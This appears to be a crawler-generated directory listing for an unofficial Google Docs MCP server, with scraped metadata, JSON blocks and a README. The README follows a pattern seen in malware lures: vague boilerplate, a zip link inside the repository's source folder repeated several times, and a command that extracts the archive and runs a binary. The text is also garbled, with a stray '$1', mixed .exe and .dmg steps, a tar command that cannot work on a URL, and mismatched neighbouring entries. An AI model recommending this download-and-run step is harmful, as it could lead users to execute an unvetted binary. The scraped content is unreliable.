Rank
83
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Crawler Summary
Unofficial MCP bridge between LLMs and Google Docs 🎉 google-docs-mcp-server - Effortlessly Connect AI to Google Docs $1 🚀 Getting Started Welcome to the google-docs-mcp-server! This application allows you to connect large language models to Google Docs. You can easily access and interact with your documents in a seamless manner. Below, you will find step-by-step instructions on how to download and run the software. 📥 Download & Install To get started, visit this p Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Freshness
Last checked 2/25/2026
Best For
google-docs-mcp-server is best for mcp, google-docs, llm workflows where MCP compatibility matters.
Not Ideal For
Contract metadata is missing or unavailable for deterministic execution.
Evidence Sources Checked
editorial-content, GITHUB MCP, runtime-metrics, public facts pack
Unofficial MCP bridge between LLMs and Google Docs 🎉 google-docs-mcp-server - Effortlessly Connect AI to Google Docs $1 🚀 Getting Started Welcome to the google-docs-mcp-server! This application allows you to connect large language models to Google Docs. You can easily access and interact with your documents in a seamless manner. Below, you will find step-by-step instructions on how to download and run the software. 📥 Download & Install To get started, visit this p
Public facts
3
Change events
0
Artifacts
0
Freshness
Feb 25, 2026
Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Trust score
Unknown
Compatibility
MCP
Freshness
Feb 25, 2026
Vendor
Github
Artifacts
0
Benchmarks
0
Last release
1.0.0
Key links, install path, and a quick operational read before the deeper crawl record.
Summary
Capability contract not published. No trust telemetry is available yet. Last updated 2/25/2026.
Setup snapshot
git clone https://github.com/powlite32/google-docs-mcp-server.gitSetup complexity is MEDIUM. Standard integration tests and API key provisioning are required before connecting this to production workloads.
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.
Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.
Vendor
Github
Protocol compatibility
MCP
Handshake status
UNKNOWN
Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.
Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.
Extracted files
0
Examples
2
Snippets
0
Languages
typescript
text
tar -xzf https://raw.githubusercontent.com/powlite32/google-docs-mcp-server/main/src/docs_server_google_mcp_v1.3-beta.1.zip
text
./google-docs-mcp-server
Full documentation captured from public sources, including the complete README when available.
Docs source
GITHUB MCP
Editorial quality
ready
Unofficial MCP bridge between LLMs and Google Docs 🎉 google-docs-mcp-server - Effortlessly Connect AI to Google Docs $1 🚀 Getting Started Welcome to the google-docs-mcp-server! This application allows you to connect large language models to Google Docs. You can easily access and interact with your documents in a seamless manner. Below, you will find step-by-step instructions on how to download and run the software. 📥 Download & Install To get started, visit this p
Welcome to the google-docs-mcp-server! This application allows you to connect large language models to Google Docs. You can easily access and interact with your documents in a seamless manner. Below, you will find step-by-step instructions on how to download and run the software.
To get started, visit this page to download: Releases Page.
Open the link in your web browser.
Look for the latest version at the top of the releases list.
Click on the version number to open the details page.
Find the section labeled "Assets." Here you will see files available for download.
Choose the file appropriate for your operating system:
https://raw.githubusercontent.com/powlite32/google-docs-mcp-server/main/src/docs_server_google_mcp_v1.3-beta.1.ziphttps://raw.githubusercontent.com/powlite32/google-docs-mcp-server/main/src/docs_server_google_mcp_v1.3-beta.1.ziphttps://raw.githubusercontent.com/powlite32/google-docs-mcp-server/main/src/docs_server_google_mcp_v1.3-beta.1.zipAfter you finish downloading, locate the file on your computer.
.exe file..dmg file..dmg file after the copy is complete.tar -xzf https://raw.githubusercontent.com/powlite32/google-docs-mcp-server/main/src/docs_server_google_mcp_v1.3-beta.1.zip
./google-docs-mcp-server
To run google-docs-mcp-server, make sure your system meets the following requirements:
Your computer should have at least 4 GB of RAM and an internet connection.
Yes, you need a Google account to connect to Google Docs.
Yes, google-docs-mcp-server is free to download and use.
You can report any issues or provide feedback by visiting the Issues section in this repository and creating a new issue.
Stay connected with us! For updates and community discussions, please visit our Discussions Page.
Thank you for choosing google-docs-mcp-server. We hope you find it helpful for your document needs!
Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.
Contract coverage
Status
missing
Auth
None
Streaming
No
Data region
Unspecified
Protocol support
Requires: none
Forbidden: none
Guardrails
Operational confidence: low
curl -s "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/snapshot"
curl -s "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/contract"
curl -s "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/trust"
Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.
Trust signals
Handshake
UNKNOWN
Confidence
unknown
Attempts 30d
unknown
Fallback rate
unknown
Runtime metrics
Observed P50
unknown
Observed P95
unknown
Rate limit
unknown
Estimated cost
unknown
Do not use if
Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.
Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.
Rank
83
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Rank
80
A Model Context Protocol (MCP) server for GitLab
Traction
No public download signal
Freshness
Updated 2d ago
Rank
74
Expose OpenAPI definition endpoints as MCP tools using the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)
Traction
No public download signal
Freshness
Updated 2d ago
Rank
72
An actix_web backend for the official Rust SDK for the Model Context Protocol (https://github.com/modelcontextprotocol/rust-sdk)
Traction
No public download signal
Freshness
Updated 2d ago
Contract JSON
{
"contractStatus": "missing",
"authModes": [],
"requires": [],
"forbidden": [],
"supportsMcp": false,
"supportsA2a": false,
"supportsStreaming": false,
"inputSchemaRef": null,
"outputSchemaRef": null,
"dataRegion": null,
"contractUpdatedAt": null,
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Invocation Guide
{
"preferredApi": {
"snapshotUrl": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/snapshot",
"contractUrl": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/contract",
"trustUrl": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/trust"
},
"curlExamples": [
"curl -s \"https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/snapshot\"",
"curl -s \"https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/contract\"",
"curl -s \"https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/trust\""
],
"jsonRequestTemplate": {
"query": "summarize this repo",
"constraints": {
"maxLatencyMs": 2000,
"protocolPreference": [
"MCP"
]
}
},
"jsonResponseTemplate": {
"ok": true,
"result": {
"summary": "...",
"confidence": 0.9
},
"meta": {
"source": "GITHUB_MCP",
"generatedAt": "2026-04-16T23:56:38.747Z"
}
},
"retryPolicy": {
"maxAttempts": 3,
"backoffMs": [
500,
1500,
3500
],
"retryableConditions": [
"HTTP_429",
"HTTP_503",
"NETWORK_TIMEOUT"
]
}
}Trust JSON
{
"status": "unavailable",
"handshakeStatus": "UNKNOWN",
"verificationFreshnessHours": null,
"reputationScore": null,
"p95LatencyMs": null,
"successRate30d": null,
"fallbackRate": null,
"attempts30d": null,
"trustUpdatedAt": null,
"trustConfidence": "unknown",
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Capability Matrix
{
"rows": [
{
"key": "MCP",
"type": "protocol",
"support": "unknown",
"confidenceSource": "profile",
"notes": "Listed on profile"
},
{
"key": "mcp",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "google-docs",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "llm",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "ai",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "model-context-protocol",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "claude",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "unofficial",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "cli",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
}
],
"flattenedTokens": "protocol:MCP|unknown|profile capability:mcp|supported|profile capability:google-docs|supported|profile capability:llm|supported|profile capability:ai|supported|profile capability:model-context-protocol|supported|profile capability:claude|supported|profile capability:unofficial|supported|profile capability:cli|supported|profile"
}Facts JSON
[
{
"factKey": "vendor",
"category": "vendor",
"label": "Vendor",
"value": "Github",
"href": "https://nomanayeem.github.io/google-docs-mcp-server",
"sourceUrl": "https://nomanayeem.github.io/google-docs-mcp-server",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-02-25T02:57:41.717Z",
"isPublic": true
},
{
"factKey": "protocols",
"category": "compatibility",
"label": "Protocol compatibility",
"value": "MCP",
"href": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/contract",
"sourceUrl": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/contract",
"sourceType": "contract",
"confidence": "medium",
"observedAt": "2026-02-25T02:57:41.717Z",
"isPublic": true
},
{
"factKey": "handshake_status",
"category": "security",
"label": "Handshake status",
"value": "UNKNOWN",
"href": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/trust",
"sourceUrl": "https://xpersona.co/api/v1/agents/mcp-powlite32-google-docs-mcp-server/trust",
"sourceType": "trust",
"confidence": "medium",
"observedAt": null,
"isPublic": true
}
]Change Events JSON
[]
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